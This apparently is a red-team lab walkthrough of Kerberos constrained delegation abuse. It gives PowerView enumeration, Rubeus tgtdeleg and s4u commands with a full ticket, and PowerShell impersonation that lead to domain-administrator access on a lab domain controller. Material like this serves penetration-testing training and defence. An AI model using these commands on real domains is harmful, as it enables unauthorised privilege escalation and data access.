Kerberos Constrained Delegation
If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it's possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to.
User Account
Prerequisites
Hunting for user accounts that have kerberos constrained delegation enabled:
Get-NetUser -TrustedToAuthIn the below screenshot, the user spot is allowed to delegate or in other words, impersonate any user and authenticate to a file system service (CIFS) on a domain controller DC01.
Attribute msds-allowedtodelegateto identifies the SPNs of services the user spot is trusted to delegate to (impersonate other domain users) and authenticate to - in this case, it's saying that the user spot is allowed to authenticate to CIFS service on DC01 on behalf of any other domain user:
The msds-allowedtodelegate attribute in AD is defined here:
The TRUSTED_TO_AUTH_FOR_DELEGATION attribute in AD is defined here:
Execution
Assume we've compromised the user spot who has the constrained delegation set as described earlier. Let's check that currently we cannot access the file system of the DC01 before we impersonate a domain admin user:
dir \\dc01\c$
Let's now request a delegation TGT for the user spot:
\\vboxsvr\tools\Rubeus\Rubeus.exe tgtdeleg
Using rubeus, we can now request TGS for [email protected], who will be allowed to authenticate to CIFS/dc01.offense.local:
# ticket is the base64 ticket we get with `rubeus's tgtdeleg`
Rubeus.exe s4u /ticket:doIFCDCCBQSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUyjggPEMIIDwKADAgESoQMCAQKiggOyBIIDro3ZCHDaVettnJseuyFJMK+Il4GAtWVAHPAq02cnHmOs3R2KcrOWpf3YbtnTD7fB+rKdZ8aElgloJO+v4XVM2NgyOVIia0MzNToDrK1ynhC70aApbag+ykvUFTDeG9NjhE3TVk3+F99vWboy6hhc9AmRUJwHFuqLC4djtL2PtQSpgWWL42W5eONlIZkc5XK0kWkC/AvivuuPOHs9aEy3g38hoBeApZE8NqT7mGKz5JHLwV5TyUgo87s6fFVSn8LHK8CI6G0x2DRhxxu04q0qnRXhLJ5S0MyJgJj6YDVESvCUgep5MXR+OYp0EGdVP8qQJK+x6m4rmr0Y3nd1Klmc+xDnLSC11ay7I8VevqhCBCZ64c+HQow4qcMTa/agxyOXqK42ynUl0GJtrLV7nIIrp+J2e5PECDUXIjKFkGnp6HZDNfzYAGL3XxyyT2JYdneOS3VUzJQyEctjuQMdVA0wB8NrRqDVdqSNBSOyBwpB3/FWzdHNYxztRmVT+Yz6qJCU4SYHIzHUE5dqHjvhjPSwgAkhS/QNApxtWvyba8iwCSnyualuhK46LS0pkt1IIQT0Y+qw80oL6mzjD+rxfKgR4B9hI6Imw9zTT5rjlRNMjWEy78izLtRB+ulzqdkZCUMA6zswWjq1BTmWzZX0LAZ+QAWQJPzoRVsqOcZCZwo/aWwmO1s9v5TLRRMLTAvk16PQW3z9NHix2Io9sObH8cb7gVrB+u2Q545Qwekl0uwP5mCar6swU2oEkxBm5DZvLsbZTcGl+KzGxqq/zhEJm3EceLuwIY81z8aYu13c6AsYETs9VevdEVysylpNL7EcHu8iXsoE5JmLx7OrcPR9WfeFWxRDp+1CVDijOI5VOS51+JpkEvcXFmfZueqLTJ66VGJgQaP7A3B//Y40ur5nSXyvEmIKgzdeqPLpGa5GPiNs/rYFmMlxwEX+yVFB5bPYgoszr3Crjsvs6Q/vdr36NoWqI9/11Nurzeeknt+k8sUV26URnQVkecW4yJFQ2TZwYCJ1k9h4cr96csJ9HhJO46UBye/8oqlqJXKnYY3JpaZiXWK77kG7BqhM6oPl+oEIbX2ycj/gHesxREvP7/vYINk33KbOSxXTAi3Je3wbZP7N+3B9Lz04m8Xi6nGeIVsZiMyODpnJVX5Bgq+3cGaSty0v+fIfqMHDwuKhOS7h1MGLJduhWh3b21ytDfzn73yyCPskFee2ckAomlAgxMzg8ZatmZDLTxfUenJ+EnrJgkYee6OB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEIN2JDvcjQZeMR+7giMsawE1vG/Cmw9IFIV7ZYwaELMqaoQ8bDU9GRkVOU0UuTE9DQUyiETAPoAMCAQGhCDAGGwRzcG90owcDBQBgoQAApREYDzIwMTkwODE3MTMyMDU2WqYRGA8yMDE5MDgxNzIzMDY0MFqnERgPMjAxOTA4MjQxMzA2NDBaqA8bDU9GRkVOU0UuTE9DQUypIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUw= /impersonateuser:administrator /domain:offense.local /msdsspn:cifs/dc01.offense.local /dc:dc01.offense.local /ptt
We've got the impersonated TGS tickets for administrator account:
Which as we can see are now in memory of the current logon session:
klist
If we now attempt accessing the file system of the DC01 from the user's spot terminal, we can confirm we've successfully impersonated the domain administrator account that can authenticate to the CIFS service on the domain controller DC01:
dir \\dc01.offense.local\c$
Note that in this case we requested a TGS for the CIFS service, but we could also request additional TGS tickets with rubeus's /altservice
Computer Account
If you have compromised a machine account or in other words you have a SYSTEM level privileges on a machine that is configured with constrained delegation, you can assume any identity in the AD domain and authenticate to services that the compromised machine is trusted to delegate to.
In this lab, a workstation WS02 is trusted to delegate to DC01 for CIFS and LDAP services and I am going to exploit the CIFS services this time:
Using powerview, we can find target computers like so:
Get-NetComputer ws02 | select name, msds-allowedtodelegateto, useraccountcontrol | fl
Get-NetComputer ws02 | Select-Object -ExpandProperty msds-allowedtodelegateto | fl
Let's check that we're currently running as SYSTEM and can't access the C$ on our domain controller DC01:
hostname
[System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
ls \\dc01.offense.local\c$
Let's now impersonate [email protected] and try again:
[Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
$idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
$idToImpersonate.Impersonate()
[System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
ls \\dc01.offense.local\c$
References
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